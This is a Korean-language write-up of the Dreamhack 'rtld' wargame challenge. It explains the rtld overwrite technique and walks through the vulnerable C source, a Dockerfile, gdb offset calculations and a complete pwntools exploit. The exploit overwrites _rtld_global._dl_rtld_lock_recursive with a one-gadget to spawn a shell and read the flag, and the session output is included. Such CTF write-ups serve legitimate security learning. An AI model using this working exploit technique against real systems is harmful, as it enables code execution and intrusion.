[dreamhack] rtld writeup

1. 문제

thumbnail
rtld

이 문제는 작동하고 있는 서비스(rtld)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 rtld overwrite 공격 기법으로 익스플로잇해 셸을 획득한 후, 'flag' 파일을 읽으세요.
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/35

2. 풀이

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <dlfcn.h>

void get_shell() {
    system("/bin/sh");
}

int main()
{
    long addr;
    long value; 

    initialize();

    printf("stdout: %p\n", stdout);

    printf("addr: ");
    scanf("%ld", &addr);

    printf("value: ");
    scanf("%ld", &value);

    *(long *)addr = value;
    return 0;
}

stdout의 주소를 공개해주고, 원하는 주소에 원하는 값을 쓰도록 한다.

문제에서 rtld overwrite를 이용하라 했으니 이걸 활용해보자.


2.1. rtld란?

rtld는 ELF 바이너리를 실행할 때 라이브러리를 동적으로 로딩해주는 시스템 구성 요소이다. ld.so 등의 파일이 실제 동작을 담당하며, 실행파일이 필요한 .so 공유 라이브러리를 찾아서 메모리에 로딩하고, 심볼을 연결한다.

_rtld_global은 glibc 내부에서 사용하는 전역 링커 상태 구조체로서, 특히 _rtld_global._dl_rtld_lock_recurive를 변조하면 내부 포인터가 호출될 때 해당 함수로 연결되게 만들 수 있다.

// _rtld_global._dl_rtld_lock_recursive 구조체
typedef struct {
    int lock;
    void *owner;
    int count;
} recursive_lock;

여기서 owner 포인터가 exit()이후에 glibc 내부 정리 과정에서 실행되게 된다.

// exit() -> __run_exit_handlers() -> _dl_fini() -> _dl_close() -> __rtld_lock_lock_recursive()

2.2. rtld overwrite

따라서 이 구조체를 덮어서 exploit을 하는 것이 rtld overwrite 기법인데, 이 _rtld_globallibc가 아니라 ld에 존재한다. 따라서 단순히 libc base를 구해서 offset을 구하면 안되고,

  • ⁣1. libc base 구하기
  • ⁣2. ld base 구하기
  • ⁣3. _rtld_global 위치 구하기
  • ⁣4. _dl_rtld_lock_recurive 구하기

이런 단계로 가야한다. 이것 때문에 많이 삽질함…

특히 patchelf로 맞춰주고 실행하면 로컬에서는 libc base를 기준으로 해도 되지만 원격에서는 잘안됐다. 이유는 원격은 16.04버전인데 로컬은 24.02버전이기 때문. 그래서 어쩔 수 없이 주어진 Dockerfile로 환경을 세팅하고 해야했다.


thumbnail
Dockerfile 기반 환경 세팅

System Hacking - Dockerfile 기반 환경 세팅

https://jjblog.duckdns.org/system%20hacking/2025/07/01/Dockerfile-%EA%B8%B0%EB%B0%98-%ED%99%98%EA%B2%BD-%EC%84%B8%ED%8C%85.html

FROM ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6

ENV user rtld
ENV chall_port 10001

RUN apt-get update
RUN apt-get install -y socat gdb

RUN adduser $user

ADD ./flag /home/$user/flag
ADD ./$user /home/$user/$user

RUN chown -R root:root /home/$user
RUN chown root:$user /home/$user/flag
RUN chown root:$user /home/$user/$user

RUN chmod 755 /home/$user/$user
RUN chmod 440 /home/$user/flag

WORKDIR /home/$user
USER $user
EXPOSE $chall_port
CMD socat -T 30 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user

두번의 문제가 있었는데, 처음에 세팅 다했다가 gdb가 안깔려있어서 Dockerfile에 추가해줬다.

그 다음엔 파일이 있는데도 없다고 나오면서 실행 자체가 안되길래 뭐지 했는데 patchelf로 패치해준 바이너리를 도커로 넣으면 실행이 안돼서 원래 오리지널 파일로 다시 넣어줬다.

그리고나서 gdb를 통해 libc baseld base 간의 거리, 그리고 _rtld_global 오프셋을 계산했다.

(gdb) info proc mappings
process 46
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
      0x5bc860000000     0x5bc860001000     0x1000        0x0 /home/rtld/rtld
      0x5bc860201000     0x5bc860202000     0x1000     0x1000 /home/rtld/rtld
      0x5bc860202000     0x5bc860203000     0x1000     0x2000 /home/rtld/rtld
      0x7db81d94e000     0x7db81db0e000   0x1c0000        0x0 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7db81db0e000     0x7db81dd0e000   0x200000   0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7db81dd0e000     0x7db81dd12000     0x4000   0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7db81dd12000     0x7db81dd14000     0x2000   0x1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7db81dd14000     0x7db81dd18000     0x4000        0x0 
      0x7db81dd18000     0x7db81dd3e000    0x26000        0x0 /lib/x86_64-linux-gnu/ld-2.23.so
      0x7db81df37000     0x7db81df3a000     0x3000        0x0 
      0x7db81df3d000     0x7db81df3e000     0x1000    0x25000 /lib/x86_64-linux-gnu/ld-2.23.so
      0x7db81df3e000     0x7db81df3f000     0x1000    0x26000 /lib/x86_64-linux-gnu/ld-2.23.so
      0x7db81df3f000     0x7db81df40000     0x1000        0x0 
      0x7ffc87f7b000     0x7ffc87f9c000    0x21000        0x0 [stack]
      0x7ffc87fd7000     0x7ffc87fdb000     0x4000        0x0 [vvar]
      0x7ffc87fdb000     0x7ffc87fdd000     0x2000        0x0 [vdso]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]
(gdb) p/x 0x7db81dd18000 - 0x7db81d94e000
$3 = 0x3ca000
(gdb) p/x 0x7db81df3e040 - 0x7db81dd18000
$4 = 0x226040

컨테이너 내부에는 pwntools를 깔지않아서 그냥 info proc mappings 명령어로 확인했다.

예상대로 정말 애매하게 달랐다. 이걸 기준으로 다시 리모트용 exploit을 작성했다.

from pwn import *

#p = process("./rtld")
p = remote("host3.dreamhack.games", 20557)
#p = remote("localhost", 10001)
elf = ELF("./rtld")
libc = ELF("./libc-2.23.so")

p.recvuntil(b"stdout: ")
stdout_addr = int(p.recv(14).decode(), 16)

libcbase = stdout_addr - libc.symbols["_IO_2_1_stdout_"]
print(hex(libcbase))

# remote
ldbase = libcbase + 0x3ca000
_rtld_global = ldbase + 0x226040
dl_rtld_lock_recursive = _rtld_global + 0xf08

# local
#_rtld_global = ldbase + 0x626040
#dl_rtld_lock_recursive = _rtld_global + 0xf08


print(hex(dl_rtld_lock_recursive))

og = libcbase + 0xf1247

print(hex(og))

pause()
p.sendlineafter(b"addr: ", str(dl_rtld_lock_recursive))
p.sendlineafter(b"value: ", str(og))

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/rtld$ python3 e_rtld.py 
[+] Opening connection to host3.dreamhack.games on port 20557: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/rtld/rtld'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'.'
    Stripped:   No
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/rtld/libc-2.23.so'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
0x7f0496f97000
0x7f0497587f48
0x7f0497088247
/home/ubuntu/dreamhack/level2/rtld/e_rtld.py:31: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(b"addr: ", str(dl_rtld_lock_recursive))
/home/ubuntu/dreamhack/level2/rtld/e_rtld.py:32: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(b"value: ", str(og))
[*] Switching to interactive mode
$ id
uid=1000(rtld) gid=1000(rtld) groups=1000(rtld)
$ cat flag
DH{e8992639751efccc8aed4a007c3b50542f352cb7b564418c1db1edbc5a87c4f0}

해결~